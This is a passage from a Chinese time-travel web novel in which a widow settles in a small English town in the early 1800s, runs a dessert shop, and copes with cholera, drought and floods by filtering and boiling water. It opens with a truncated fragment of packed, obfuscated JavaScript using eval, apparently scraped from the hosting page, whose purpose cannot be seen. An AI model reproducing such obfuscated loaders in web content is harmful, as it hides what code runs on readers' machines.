;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更糟心的是天气,整个城市灰蒙蒙、雾沉沉,还有一股不是很好闻的味道,估计同时来自于河水和空气。有意思的是,这里不查护照和身份文件什么的,只有本国男性商人到殖民地去才有护照,实际用处是自由贸易通行证明;官员、军人、传教士等则是另一套。这个商人贵族之国只关心货物和钱。 或者说,前任皇帝陛下过世——她记得其实那位是被毒死的——大家都松了口气,更无人关注一个法兰西“中年”寡妇。 不过,这个伦敦,好像,仿佛,不是很有活力的样子。她对这个时代的英格兰真心不熟,所以只是找旅店,吃个饭,买些成衣帽子鞋子布料伞之类还有当季新书,将其实是空的箱子填满。似乎这个年代,奥斯汀女士已经过世了,那么自己也不需要买正版书支持作者,不如支持下别的女作家好了。另外就是,要去银行兑换英镑。 金本位从这时候就开始了啊! 苏茜都忘记自己在什么时候学过,当时只是知道个大概,从实用的角度来看完全不需要了解太多,因为学的时候金本位、银本位已经永远成为历史。 正好,她的皮斯托尔纯度跟这个英镑很相配呢。看她当年“配制”的金币比例多正确!绝不是自己技术不好。 她先问英格兰银行附近营业部的值班经理要了一批意向地点的分行地址,对方意识到这位客户会有别的业务,还介绍了投资理财、公债买卖、存款、保险柜等等业务。地址让她决定将未来十年左右的生活费都兑换成英镑吃利息,然后又买了一些利率为三个点的无期公债。买公债不是理财的好选择,但作为一个法籍移民,这是种态度,何况数量不多——在她看来不多。 至于一些这个时代版本的金法郎,就都收藏起来吧,硬币比纸钞容易保存多了,几乎永远不会成为垃圾。 “这几年回来的人又多起来了呢!”值班经理忍不住嘀咕道。他根本不考虑那位女士是真外国人的可能,因为她的口音是非常纯正的伦敦音,有些用词还很南岸那边的习惯,一点欧洲口音也没有。很可能是嫁到欧洲又回国的人士。 “可不是,之前是那一位的原因,不知道现在又是什么原因。” “报纸上不是说开始教士统治了吗?不仅要清算那位在位时候的事,还要限制言论。” “我倒是觉得那边的教会推广基础教育也是不错的,谁让那里的农民都是文盲呢。不能只看一个浪漫的巴黎就说他们是个浪漫的国家。” “我一点不觉得巴黎有多浪漫。你忘记多少人被砍头了吗?” “嘿,我听说被砍头的那位皇后喜欢男人也喜欢女人?还搞后门什么的……” 英国的八卦小报是全世界造谣小报的鼻祖,而且领风骚二百年从来没有将第一的位置让给对岸的好莱坞,最主要就是这里八卦的市场大啊!不管是生意还是八卦,英国人一向认真对待。 “女士,车子到了。”将一套还算好的衣服交给服务生解决清洗晾干问题,然后对方热心地介绍了不少,包括去威郡的车夫和行李箱包与床品餐具之类的购买地点,最后还殷勤地帮她提着更沉重的一个箱子一个袋子上车,而苏茜则只有手袋和另一个比较轻的小箱子。 苏茜住了一周,前后总共给了三先令小费,在这个非市区的小旅店算是挺大方的金额。伦敦市区和这种边缘地带,租金、消费以及治安,都是差别巨大。唯一的好处是劫匪喜欢将之前的收获带在身上,这一点让苏茜尤其满意。 她最讨厌穷困饥饿的劫匪,会让人下手时产生犹豫的情绪,甚至不知道该不该给他们留几个土豆…… 这次的马车车况好得多,因为是载人的,座位舒服多了,途中歇脚吃喝拉撒的地方安排也很合理。就是目的地,怎么说呢,完全不是苏茜想象中的田园。 “那地方都没有桥,过河都是淌过去的,只有地下市场因为免税挺繁荣。但是吧,听说土地拥有者的后代本来打算建庄园的,可钱不够,搞不好要卖掉。所以家家户户都是过一天算一天。” “外人最好别去那里,你知道的,税务官会把你的每一个便士都掰扯得有利于他们的。” 旅馆老板娘对周边百英里以内的村镇都挺熟悉的。得知她过来想找个“优美清静”的地方定居,给了很多良心建议。老板娘这么健谈的主要原因是苏茜连续住一个月而且包每天一先令的早餐以及咖啡跟热水——茶叶和泡茶水苏茜自备,唯一额外要求是更换干净的毛巾和床品。至于出门的小马车是找老板娘的娘家兄弟另外租的。 “您为什么不定居在城里?多方便啊!”虽然这个城跟伦敦不是一个等级的,但因为古老的大学和集市而很有品味。 “城里人太多,也太爱打听。而且房子比镇上的贵多了。我又不想再嫁,不需要在城里社交。”最重要的是她喝到的牛奶是掺水的,面包用的面粉肯定加了非粮食。连咖啡都是她直接要了咖啡粉自己煮的,因为用的水有一股工业品的味道。 “也是。”车夫自己就是住在郊区家里,因为城里太贵了,别说马厩,连一个房间他都租不起,而跟人合住一间房间又有可能被偷,有时不能回家时他都是窝在马厩门边的。 但真的到了她之前指名的镇子之一——前三个都因为产权问题被老板娘否了——面对没有树木的河岸、颜色诡异的河水与垃圾遍地的联排屋子,她愣了半天,只得和车夫找了镇上一家餐馆兼面包房对付了一顿饭就走了。顺便说一句,这顿午餐有够糟糕的。一百多年后的美丽小镇与一百多年前的污染之地完全是两回事。 又跑了一个地点,得知这是一位贵族的庄园。 自此,苏茜划定的地名全部被毙。 还是去看看老板娘和车夫推荐的地方吧!本地人总归更了解“现”状的。 22.国王亦凡人(三) 这是最好的时代,这是最坏的时代。 写下这句名言的狄更斯现在还没开始出名。 “罗西诺太太,”赛镇唯二的律师之一为苏茜办好购房手续。“您在这里和这里签字就行。” 赛镇是少数没有被纺织业和其他工业污染了水源的镇子,确切的说这里接近水源地,有山有水可惜水量较小,做不了磨坊以及其他需要大量水的产业,农业也不太行。但这里靠着历史悠久和仍然保有不错的自然树林而有不少人来旅行或消暑度假,享受安静的环境和清新的空气。镇子没有大贵族,附近也没有值得称道的豪华庄园,周围倒是有很多中小乡绅。整体上,商品不算时髦,教堂太过朴素,餐馆味道单一。 “她花了多少钱买的东边那套小三层?”本地一位乡绅作为见证人忍不住问。 “总共三百二十镑,都是英格兰银行的票据。”包括律师佣金和公证费。“我还知道她有一千镑公债,银行里具体多少钱我不知道,但看她今天这身不会超过十镑,我估计她的所有财产加起来有六千到八千。” “确实,再嫁有点难。”年收入不超过一百镑的年轻保守寡妇,身家气质和教育水平算是位淑女,但真没什么钱。最重要的是他还收不到多少捐税,哪怕是自愿什一税也就三五个索维林金币的样子。 苏茜并不知道这两位先生猜测她的身家,某种程度上比较准确,自己当时也就是兑换了七千多英镑和五十金币,不过这是她十年的生活费。至于说全部身家,她也不知道有多少,尤其知识是无价的。哦,也不算是,因为她的大部分“收藏品”和知识储备与这个时代无关。而且她即使知道现代的一些药物制作土法,在这个没有厕纸的地方……还是算了。 除了会搞点土肥种点东西做点吃的,她什么谋生技能都不会。最多不需要考虑收入和安全问题,也算是能耐了。至于绘画之类,大概她画出来后也就卖个颜料钱。其他的例如工商业,忘记她是外国女性了吗?这个时代她连小农庄都没法买,更不要说办工厂了! 倒是,甜点店可以在自家一楼开一个。这个年代开甜点店并不需要执照和卫生许可,小镇子上也没有索.贿的卫生监督员什么的,估计也就是交个税? 新房子是二层加阁楼,窗户偏大但只有六扇,门廊和外墙都爬有藤类植物。阁楼是落满灰尘的杂物间,二楼的两个套房前几年曾出租过,还保留了些老旧家具和一个斑驳的盥洗室,壁炉是黑色的,烟囱的情况好不到哪去。一楼的情况比二楼更糟一些,卧房全部是灰,厨房炉子可能已经坏了,起居室堆了些垃圾。窗玻璃都坏了。房子周边一圈有几棵橡树、松树和一些芍药之类,其他都是杂草。 苏茜就住在镇上唯一一间旅馆里,直接付了一个月的房租兼三餐加洗衣和热水。那房子光打扫和清理就费了旅馆服务生家里全部人口两周的时间,报酬是房子里所有的旧家具和布料甚至芍药花,但不包括树。 “我要快速简单款,用你手头有的木料给一些居住必需品。床,柜子,椅子,桌子。不要雕花,不要任何装饰,只要结实耐用,不要十年不到就散架……哦,松木也可以,但不要做松木柜子,那容易变形……另外还要做几张高低桌子……这些设计款的明年交货都可以,不急用,但质量一定要保证。” 她打算仿照之前巴黎的平民甜点面包店格局再缩小简化,只在门廊入口的地方放上高低桌子,再请个清洁女仆兼店员了事。另外就是给自己的木屋换张收纳床和桌椅,这个倒是要好木头,亚洲来的一种有着特殊纹路的高级硬木很适合呢。 镇上有两家木匠店。一家走高大上风格,另一家比较实惠,所以苏茜选了后一个。她在镇上的人设就是保守小康,不想再嫁,连服装都是灰色系,除非必要不出门——她每天要保证四到六小时修炼和练武,免得被这个时代的庸医和假药荼毒,没空出门交际。就是很多八卦听不到,略可惜。 当然,她知道自己也是别人嘴里的八卦话题。 “哦,她除了不吃气味奇怪的以及肥肉,其他都吃,从不挑食,喜欢蔬菜胜过肉。” 主要是这里肉菜做得太难吃,她不得不又额外平均每天一个多小时在给自己搞食物上面。 “她做的衣服都是,嗯,比较老气,不要装饰和漂亮的颜色,但是要好料子,真不像个法国人。全棉,全毛,特别还对棉毛混纺、新出来的毛衣和进口山羊绒很捧场,就是谁见过一口气买三条花纹类似的羊绒披肩?!更别说三条两个金币的价格,一摸居然就立刻买了。所以我不相信她是个穷人的话。” “不是说了她应该是嫁到法国的英国人嘛。而且她是新教徒,跟那边的教士氛围格格不入。” “就是钱不算多。”帽子买了五顶却都是基础便宜款。 “有人来打听她有多少嫁妆,不过我看她的意志很坚定,所以就说不会太多。”英籍男人结婚,第一是钱,第二还是钱,第三依旧是钱。 “我猜超过五千。但每年的生活费不高。” “低于这个数不可能买房子,虽然那栋房子死过人。” 如果苏茜听到这些话能把白眼翻到天上去。羊绒啊,无杂质顶级格子羊绒啊!真想五种颜色每样来两条。另外,她可以是无神论者,也可以是任何一种宗教除了邪.教的教徒,纯粹按需,还能随时切换经文语种,包括但不限于拉、希、阿和梵语,连婆罗门舞和娜迦舞都会一点哦。至于凶宅之类,放心,她很凶的。 * * * “看在价格的份上,我不介意死过人,而且我是亲眼见过被盗匪杀死的人的,而且扔在野外死了好几天!你可以想象那场景和……气味。又不是地窖或花园里堆了尸骨,完全称不上凶宅。”苏茜毫无芥蒂地跟男店主聊凶宅的定义。“闹鬼只可能是意外或是有活人故意吓唬人,人死后灵魂不可能留在原地,更不可能影响阳世的人。我觉得遇到装神弄鬼的人直接一剑刺上去就行了,如果要保险起见就把剑放在教堂里一段时间再用。” “啊……真是……很好的见解。”本来想推销一堆银制“圣物”的店主已经被说愣了。死了好几天的气味是什么鬼?他想吐! “对了,我打算卖自己做的甜点,需要多一些装饰陶盘,不要彩陶,另外还需要包装盒。”彩色的陶瓷,闪亮的金银,都是餐具拒绝往来户。“还有这几种刀具,我都要了。” 苏茜在镇上大部分店铺和商人那里下了订单,顺便宣传了一把自己打算开的店——镇上还真没有专门的甜品店。一边清洁一边准备不交玻璃税的百叶窗和窗帘床单毯子木炭等等……还有最关键的是找对食品供应商,贵的没问题,但不能有任何非食材和生水。 以及如何处理房子周围那一圈土地。 “我要自己种树,所以如果可能,请帮我买两打橡树或杉树苗,直接移栽十棵超过八英尺的最好。”她给了一个金币作为“采购”和劳务费,明示他们去挖些树而不是太小的树苗来。 不久之后,罗西诺太太在镇上一下子成了抠门的代名词。为了省钱在花园里种树?为了赚钱在自家卖甜点?真是……呃,不知道甜点甜不甜……镇上面包坊表示,他们产品的销售对象是佃农和小工及其家属,因为面包师和服务生本身就是兼职女仆。餐厅和咖啡馆则完全无所谓,大家的路子是不一样的,一个堂食一个外带。 苏茜则在奋笔疾书。房间里有蜡烛和煤油灯还不限量,但是这个光线实在不适合写字。岛上因为没有汽油而没有电,所以她都是趁着白天光线好的时候写下菜谱和点心方子,以及采购单,光线不好的时候则做别的。 比如面试和培养服务生。 镇上有经验的服务生不少,可雇佣的基本没有。所以苏茜是从佃农家次女这样的身份中挑选的,勤快肯学习,零基础也无所谓。文字水平只要懂字母和商品名称,算术只要会加减法而不需要方程式,教育的难度并不高。 最终她选了两名女仆,一位奥内拉帮家里卖过菜而且会算钱的数目,另一位佛莉会做面包和炖肉。前者订婚后差点结婚,结果未婚夫跟人跑了自己成了笑话被家里嫌弃,后者是个没有孩子还在服丧的寡妇,于是一楼的一间卧室就给她们两个留着了。 哦,还有厕所的问题!那可是在房子后方的。房子小巧,但有前后门,可惜由于见鬼的税收问题,整栋房子窗户只有三个、壁炉只有两个、烟囱也只有一个。烧炉子的厨房也是在后院搭的。所以苏茜建了一条木地板木棚顶的走廊,将前后门和厨房厕所连起来,而不需要在下雨天踩着烂泥地倒便盆便壶或是去大号。 “还好一楼那间房间有壁炉,不然冬天会有些难过。”对应的另一个壁炉是楼上的小起居室,布局挺见鬼的。好在苏茜并不需要卧室里放炉子或壁炉。 房子的清理修补花的时间不长,尤其是周围不少人都有“庞大”的家族亲友。比如佛莉娘家六口人养马驾车很在行,其中最大的侄子刚结婚正在到处打零工,想给自己妻子和未来的孩子再造间屋子,免得那么多口人挤在两间半屋子里。所以她家大侄子是很好的兼职马车夫的人选,而跑腿打听乃至清洁炉子烟囱厕所等的活计可以找她家小一些的侄子侄女,一先令加一块没有沙子的面包足以让一个十三岁的孩子高高兴兴地干一整天的活——这可比在矿上或工厂做童工里安全多了。 十棵移栽的橡树不仅平均高度近十英尺,而且种得很好,一个多月没枯死,绝对可以在冬天的时候烧了用。所以苏茜还多给了十先令的报酬,对方简直高兴死了。他们就是费了点力气,从公共林子“搬”了些不值钱的未成材树过来。能做战舰的橡树得百年、六七十英尺的那种大树,这类不到三年的树其实仍属于树苗阶段。 苏茜也没有任何惋惜。等这些树成材早就是港铁战舰的世界,潜艇都开始出现了吧。嗯,而且她可能已经在下一个世界了。就是不知道是什么样的世界?但愿能有卫生巾……不过现在的棉花总比山村里的苔藓好用些。这个世界无法修炼斩赤龙,除了强身炼体啥也修不出来,唯一有用的是岛上极稀薄的灵气对健康的加成,她的修炼就是对灵气的吸收利用。 “……按你的要求,厨房我们换成两个烧煤的双火口铁炉,两个烤炉都是用传统的烧木头的炉子。”木头和木炭的价格居高不下,导致大家现在都开始种树了,尤其是有庄园的人士,而穷人基本上就是硬扛湿冷的冬天。所以这位刚从法国回来,经济状况一般的罗西诺太太在自家花园里种树也是可以理解的。 “谢谢!我很满意。”苏茜爽快地付了尾款加上提前一周收工的小费。这个卖假货成性时代的建筑商居然很靠谱,不管是门窗地板还是走廊炉灶以及按照她要求做了改造的厕所,也许跟他们做周围小镇的生意必须靠口碑过日子有关。 整个房子非常不豪华,自然光很差、湿气也重,但软装和家具颜色轻快,加上门保持敞开,屋子里白天都有煤油灯照明,整体感觉比较舒服,如果再加上甜美的食物香气就太棒了。一屋子的女子,连未来的顾客大部分都是有几个闲便士的女客,就得按女性的生活习惯来。以后到了冬天,窗下还会放个取暖兼热茶水的煤炉,炉子上有铁管通过窗外去掉大部分烟气。 在了解了些以前、现在的税制之后,苏茜发现居然没有房产税,却有各种奇葩的砖头窗户烟囱玻璃引来时不时的抗议。而所得税,则是根据战争进展从一镑两先令到六便士之间横跳。 现在是六便士,明年及以后都不好说。 税务官可能是平生第一次“接待”了一位热心交税的女士,他请苏茜喝了杯茶花了一个小时的时间讲解了目前的税收,然后高高兴兴地收下她的“试吃品”,一个外表有着裂纹和轻微的香气,打开后是满满的面粉、奶酪、坚果和葡萄干的面包,闻起来还有蜂蜜的甜味。 “我的午饭有着落了!”他觉得自己完全不需要再去吃每次都能吃到一到三小块蛋壳的煎蛋套餐。这块面包重量近一磅,他觉得自己中午会吃撑。 事实上镇上的这位中年税务官午后坐在椅子上撑得站不起来,却仍然还剩下四分之一的面包。“这位太太以后的生意肯定很好。”只要这样的面包别超过一先令,他是会去买来与妻子一起当早餐吃的。 事实上这样一块可以让两个胃口不太大的人吃一顿早餐的面包,售价是十便士。 奥内拉和佛莉简直爱死了这款面包。 因为需要展示“内容物”的关系,所以柜台上每天都有小半个面包做展示,其他的苏茜给她们当十点开店前那顿“早餐”的主食。由于目前仍然禁止外国粮食进口,她买不到大米——也不知道现在这样的炉子和锅要怎么煮米饭。 苏茜拒绝乳猪以外的膻腥猪肉进入她的厨房,不过牛羊鱼鸡鸭鹅等等来者不拒,尤其是鱼都是去鳞去内脏后腌制至少半小时,所以他们早餐倒是比较“简单”,就是面包、沙拉和加了牛奶的咖啡。牛奶得煮开过的,而不是直接喝。 两个女仆这辈子都没有吃得如此“讲究”过。 奥内拉跟供货商闲聊的时候,讲了下在将食物吃进嘴里前需要多少道工序,“……我们家太太真不愧是巴黎回来的,虽然她服装很简朴,从来不戴首饰,但一锅三个人吃的土豆炖牛肉里加九种本地和进口的香料,还加上葡萄酒是十种。哦,牛肉要切成块,先煮或者煎一下再小火炖一个下午。对了,吃完东西,尤其是带甜味的东西,一定要用浓茶漱口,你知道的,那种不加任何调味、有点苦涩的红茶,要漱口数到四十才吐掉。太太说这样就会不会牙疼。”还有用开水煮过的细丝线清洁牙缝,用干花薄荷煮的水清新口气等等,这就不跟男人们说了。女仆也是女人,也爱漂亮的好不好。如果结婚了就可能失去美好的饮食、温暖的房间、整洁的新衣和充裕的零花,那她宁愿一直单身跟着女主人! “我们的手一直是保持干净的,在接触食物之前都会用肥皂洗手,每天睡觉前抹上一些油脂,这样保持双手的柔软,就可以更好地感受食材的细微变化。”佛莉展示着自己的双手。她是店里的厨师助手,可没空做粗活。她的衣服床品也都是由雇主统一交给洗衣女工。“我们都不用酵母纸粉,而是用苹果或其他水果、麦粉之类发酵,获得不同口感的发酵液,从而制作出不同风味的好吃食物。” 顾客被类似外形但材料做法都不一样的千层酥迷花了眼,连麦粉发酵都有那么多讲究啊?这就是放在巴黎根本上不了台面的甜点面包!伦敦也就这样了吧?于是这位被说晕了的女客人带着满满登登四个盒子的甜点外加两包“赠品”茶叶走,满脑袋居然是吃完甜点如何漱口以保持牙齿不生病——她居然知道了牙疼的“原理”了呢,不管是不是真的,反正听上去挺像回事的。 在“短短”一月之内,苏茜的“街角甜点铺”就成了镇上的知名新品牌。每周大概能卖出五六十镑左右的面包、甜点和茶叶,去掉三个人消耗的食材成本、所得税、教会捐以及房子的奇葩税收,到年底时的盈余可以让大家都做了一身新冬装,并且买 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“当然可以,米拉德太太。你敲门就可以了。” “那太感谢了。”能在乡下订购到“纯正”的法式时髦甜点,这在过去是不可想象的。 “没事。”为了一个金币的“大买卖”,她们可以早起些做蛋糕装饰。 最后米拉德太太得到了一个让她眼睛发晕的“大”蛋糕,恨不能装病把这样的漂亮的食物带回家自己吃。而苏茜则在计算二战结束没几年售价六十港币的十寸蛋糕是不是还要整点金箔什么的,所以她这个蛋糕上加的装饰很大方,都是纯动物奶油、无添加蜂蜜、罐头水果、巧克力和果酱,还有一个麦芽糖浆倒入模具做的小王冠状装饰。 “今天的甜点真好看!”十四五岁的少女望着一堆样式各异的曲奇和小点心眼睛有些发直,跟姐妹买走了十几先令含有麦芽糖浆的小饼干、小面包、小蛋糕,将女仆和车夫的四只手全部挂满。嗯,她们还顺便上了个厕所并表示条件不错。 佛莉不厌其烦地介绍如何甜点后漱口避免去城里找牙医。最后店里的进口中国纯茶叶也卖掉两罐——镇上的茶叶店没有的品种,价格比调味茶还贵,但苏茜强调的是对牙齿好而不是口感好。她刻意与其他店铺错位经营,保证没有竞争,包括土耳其风格玻璃花茶杯。 还真有女士为了烘干被雨雪打湿的鞋子而来店里,喝一杯试饮茶,在黄铜木炭脚炉边暖和下有些冻僵的脚,或是踩着干燥的走廊去温暖清新而不是阴冷发臭的厕所里解决点问题,最后不好意思地带走一盒点心或茶叶。 而苏茜终于买到了半发酵岩茶和普洱茶,激动地租马车去代理商在伦敦郊外仓库,将所有存货都买空,还让代理商继续进货。 虽然没有菊花茶,但是她有玫瑰干花啊!别的加奶加盐加糖加酒加水果加草药加香料的茶叶配合小甜点那是妥妥的增肥,但普洱和岩茶能让人在胃里没什么食物的时候饿得发慌,是妥妥的清洁口腔和消脂茶。 “……这个喝了是会觉得饿。”一个被束身衣勒得腰身极细的姑娘已经饿习惯了,居然被一杯茶给激发出难得的饥饿感,还是一定要吃东西的那种感觉。于是她买了一块苏茜亲自推荐的“不容易发胖”的甜点,不够甜的口感在茶水的微苦和饥饿的冲击下根本微不足道,几口就能吃完的绵软巧克力蛋糕很快抚平了变形的胃部的叫嚣,最重要的是“区区”四便士的价格对乡绅的女儿来说还是负担得起的。“再来一个这种蛋糕,还要一包我刚才喝的茶,谢谢。” 一包茶叶加干花不到40克,单价就是成本,苏茜基本不赚钱,所以两个便士谁都能消费得起。可一包也就泡两壶茶,这样算就不太廉价了。 这个年代似乎还没有到连睡觉时都要束身的疯狂,亦或许镇上与伦敦这样的地方不一样,细腰女士的比例明显比巴黎富人区的少。 “你们这里真暖和。” “你可以试一下生姜黑糖红茶,驱寒的。” “谢谢!” 这几天不认识的客人不少,说明附近可能有庄园在搞不限阶层的聚会活动什么的,来的客人也是从坐着豪华大马车毫不手软地花掉两个金币买甜点,到一身狼狈买两便士的茶包要考虑半天——出于错位经营,她的店里没有一便士一个的硬面包,也没有一克朗一个的酒布丁。 “一包茶也太少了,有大包装吗?。” “有的,女士,这种茶是一克朗一大包。玫瑰干花是六先令一大包……” 比伦敦还便宜?!赶紧下手! 客人买了好几种茶叶和花茶,高高兴兴走了。 奥内拉也很高兴,相当于得到两便士的小费。店里所有的生意她们两名女仆可以平分百分之五的奖金,即使是赠品或打折品也按原价计算,可以说是她们的额外小费,也因此两个女仆一有空就跑出来推销,对口味的改进完善更新也极为热衷,因为耗损归苏茜、收入她们却有份——这种事她们可不会对房子以外的任何人多嘴,只提女仆工资、制服、住宿以及好吃好喝,充其量有个别年轻女仆认为她们被食物拿捏而放弃“大好前程”。 这个冬天,苏茜没有砍自家的树。附近有出售壁炉用橡木和木炭的庄园,她不会在晚上去偷砍公共林子里的树,还会响应镇上的号召,出钱买来不到四英尺的小树苗种在公共空地上——等它们长到七英尺以上再被穷人偷砍掉。 从搬到自己的房子开始,苏茜会每两天让佛莉的侄子驾车去河水更上游的地方打水回来作为吃食用水,而且做食物泡茶水之前都要先煮开。还有她喜欢在新麦上市的时候大量囤积到下一批粮食上市才全部捐掉——大家认为这是经历过饥荒年代的习惯。只有她才知道,她不想用公共水井里的水。 “谢天谢地,这里的河水一点不臭。” “亲爱的,这里没有工厂,也没有太多的人口往河里倒粪便。” 在还算是有点景致可言的河畔散步的一对夫妇也就走了一段路,就被湿冷的空气和细雨逼回室内。 苏茜穿着长长的披风式雨衣和皮靴、打着油布伞,与同样打扮的奥内拉去“考察”一处水源和一户蔬菜园。 “麦克说这块水塘的水特别清澈,可以直接喝。所以园子主人用这水来浇灌的蔬菜特别好。” “沙砾过滤层。”苏茜点点头。 直接去菜园下长期单。 “对,特别是这几种菜,多一些好了,我会用来给甜点染色。”菠菜、紫甘蓝、姜黄等等有着浓郁颜色的蔬菜,跟玫瑰茄等都是苏茜喜欢用的天然色素。她做了决定下了订单,以后就是园主的仆从跟奥内拉的事情。 穿着雨帽雨衣冒着冬雨驾马车载着苏茜回家的麦克,也就是佛莉的大侄子,得到了黑糖姜茶和牛肉末土豆泥生菜三明治。生菜是开水煮过的。 “老杰家的那位亲戚现在病得快不行了。医生说是霍乱,现在伦敦病死不少人。”很早之前许多人死于腹泻,但现在居然还那么可怕就有些匪夷所思了。 “有可能是吃了不洁的食物,尤其是没有煮开的肮脏水。”苏茜皱眉。霍乱,现在可没什么有效的药可以吃——一百年后她在医院里工作的时候也没有。“麦克,记住,别吃生水,更不要生吃蔬菜,蔬菜没有煮过同样可能沾上不洁的东西导致生病。要知道,霍乱病人的粪便也是直接倾倒掉的,万一直接吃喝了也会得病的。” 兼职车夫与女仆们表情扭曲。病人的便便……吃喝进自己肚子……呕…… 23.国王亦凡人(四) 霍乱终究没有在镇上蔓延。这里的水源上游没有工厂,人家也少。而且苏茜还自己用木桶、粗细沙砾以及磨碎煮晒过的木炭做了两个简易过滤水装置,将上游打来的水倒进去慢慢过滤后才用。一个月更换一次。 但“主流”观点仍然是伦敦糟糕的空气导致霍乱流行,包括市政厅。可惜在水公司也这样宣传之后,人们的开始相信持不同观点的斯诺医生的观点:个别公共水井受到了污染,导致很多人染上霍乱。理由是既然市政跟私人公司讲的话一样,那也许就是件有待商榷的事情——多数记者也开始怀疑、反思、寻找真相,而霍乱的死亡人数开始被大规模“发掘真相”式地拼出五位数,远高于市政说的“区区”几百人,就是各种说法都有就让人挺无语的。幸好现在不是中世纪,不然可能会有一堆女性被冠上女巫之名,历经折磨后被活活烧死。 看来,大家对“官.方”发言持谨慎保留态度的历史很长,有几百年的那种。 “这只猫真能干。”佛莉对养了四个月的花猫的捕鼠能力十分赞赏,喂给它一整条水煮过的鱼。 猫咪摇了下尾巴,开心地吃鱼,看起来很乖巧的样子。 “很多疾病都是通过老鼠传播的,包括历史上著名的黑死病。所以,能抓老鼠的都是好猫。当心,不要在猫吃东西的碰他们,他们可能会以为你要抢食物而伤人。”苏茜也很满意。没有宠物医院,不能打疫苗和驱虫,这个时代的猫和狗并不是多好的宠物。她养猫可不是为了撸猫,而是抓老鼠。 “我知道猫的习性。我兄弟被猫抓伤过,其实他只是想给猫添点食物。”佛莉连连点头。 “还好不是被猫咬到。”没有狂犬疫苗的时代,必须小心啊。 天气渐渐暖和,镇上几个伤寒病人死了一个,其他人活了下来。大家纷纷去教堂感谢。 还好伤寒没那么容易传染。 不过出于健康考虑,苏茜在人多的公共场合向来是戴着有遮到鼻子的薄纱的基础款窄檐帽子,人多的聚会场合基本不会出现,加上虽然不是黑色可也是暗淡沉默的简朴服装,与她不喜交际、不太富有的寡妇人设非常符合,真是浪费了上佳的口音。 这种几乎每天下雨、经常下大雨的天气却不是很正常——在她的亚热带小岛上很正常,这里就不太对了。 果然,没多久,就晴了,而且一直晴——始终不下雨的那种。 “天哪,我们这儿也会有旱灾吗?!”一名庄园主简直快疯了。他每年的收入有一半靠农产品,现在不得不发动所有的人手保证灌溉水。 “再下去河水干涸了怎么办?!”另一位同样有田产的夫人捂脸。流过镇上的河水水位明显下降,几口公共和私人水井的水位也下降了。 苏茜不知道该说什么。她要如何将岛上的水偷渡到现实里?也就是不再在房子里泡澡,光这一项就能节约她们每天额外洗衣服用的水,毕竟现在天气热得有些不正常,一天下来衣服就会有异味,不可能堆在那里等洗衣女工每周两次上门取、送衣服。而且她们怀疑洗衣那边同样碰到水的问题。 “我总觉得那边送来的衣服不够干净。” “我们自己再用过滤水漂洗一下,晾在阁楼的阳光角。”苏茜在修房子的时候特意在阁楼开了个门——不是床,是门,确切的说是门洞,外面是种着花的假阳台,让楼下的外人看不到一个黑洞洞的“门口”,天气晴暖的时候她们可以在门边喝茶晒太阳,以及晾晒总有种霉味的衣物。苏茜称之为“阳光角”,并且为此多每年得多交一先令的税。谁让这栋房子没有露台呢。 如果按照她所习惯的房产税,这栋房子按照周边的“估算”价要比她的实际买入价略高,再来几个点的税率和会计师律师费等等,跟她现在每年交三英镑左右的房屋相关税相差不大——就是名目怎么看怎么扯淡。 好在,河水没有断流之前,开始恢复了些降雨,最可怕的是雨水越来越多。佃农们甚至土地的主人都在拼命抢收,但少数收获仍然淹没在水里。 “……我们买的那种已经涨到七十五先令了……我们要不要涨价?” “不,真正影响成本的是奶酪、糖和蜂蜜这些。而硬面包是不少不那么宽裕的人的口粮,涨价的话他们会绝望的。”终于买到绿茶的苏茜心情很好地维持原价,在面包坊涨价的时候还增加了三便士面包的面粉含量。 连佛莉都忍不住经常自掏腰包买这种便宜大块又质量上乘的面包让侄子带回家,她最清楚店里用的面粉有多好,也明白三便士的售价让雇主分文不赚——即使这种面包用的面粉是陈粮,但在一点不减量油、蛋和乳制品的加持下,普通人是吃不出口感区别的。 面包坊对此一点意见也没有。这种陈粮面包对家里浸水的穷人而言还是太贵。 “我们镇已经算好的了,下游很多街道必须划船,有些一层楼的窗户都在水面下,不少人睡在房顶好几天才能下来打扫屋子。”低洼地带的内涝是每个城市都会出现的情况,可就是因为若干年才出现一次,绝大多数人根本就没有准备而损失惨重。 “我亲戚家的农庄全毁了。今年别说收入,还得倒贴佃农的面包,不然明年就没人种地了。” 旱灾连续水灾,接下来就是各种传染病了。亏得这片土地暂时没有战争。反正她活着的时候不会被轰.炸或是被栽赃砍头就行。 “多做两个过滤水桶真是太明智了!”佛莉叹息着。河水里的水至今仍然浑浊,井水的情况也不好。因此苏茜放了两个过滤水装置和煤炉在教堂门房,煤也是她出,但操作是牧师助手。家里条件不好的人,只要赞美一声上帝就能得到一杯烧开的干净水。 连女仆们都与有荣焉地认为自家是在做好事。 苏茜表示:不想看到水灾后出现各种让人头疼的传染性疾病。 …… 一周后,水源恢复了洁净,教堂里的过滤水装置虽然被收回,但过滤的原理成了热门知识。尤其是伦敦的几家水务公司准备明年开始向付费的市民提供“干净”的砂滤水。 明年生效的措施不可能改变现在有大量呕吐腹泻、高热不退、皮肤溃烂等等严重健康状况和死亡病例,还有扩撒传染的趋势。于是从教堂到药店、从记者到医生,都多了不少好处。 “……不,我还是不建议喝生水,因为无法用木炭过滤掉致病的微生物,比如霍乱这种疾病,必须将水煮开后饮用才不会被传染后悲惨地死去。”尤其是人们的护理观念有够奇葩,霍乱病人无数次腹泻后不给多喝白开水还放血、服用鸦.片.酊是什么恐怖故事。苏茜声称都是从报纸上看到后进行筛选得到的结论。“负责任的医生说鸦.片.酊在止咳和镇痛方面有效,但只能在三天内使用。对腹泻、高热之类是没有作用的。但是药店里的人就不一定了,他们为了赚钱,可以说假的木乃伊粉可以治疗一切毛病。” 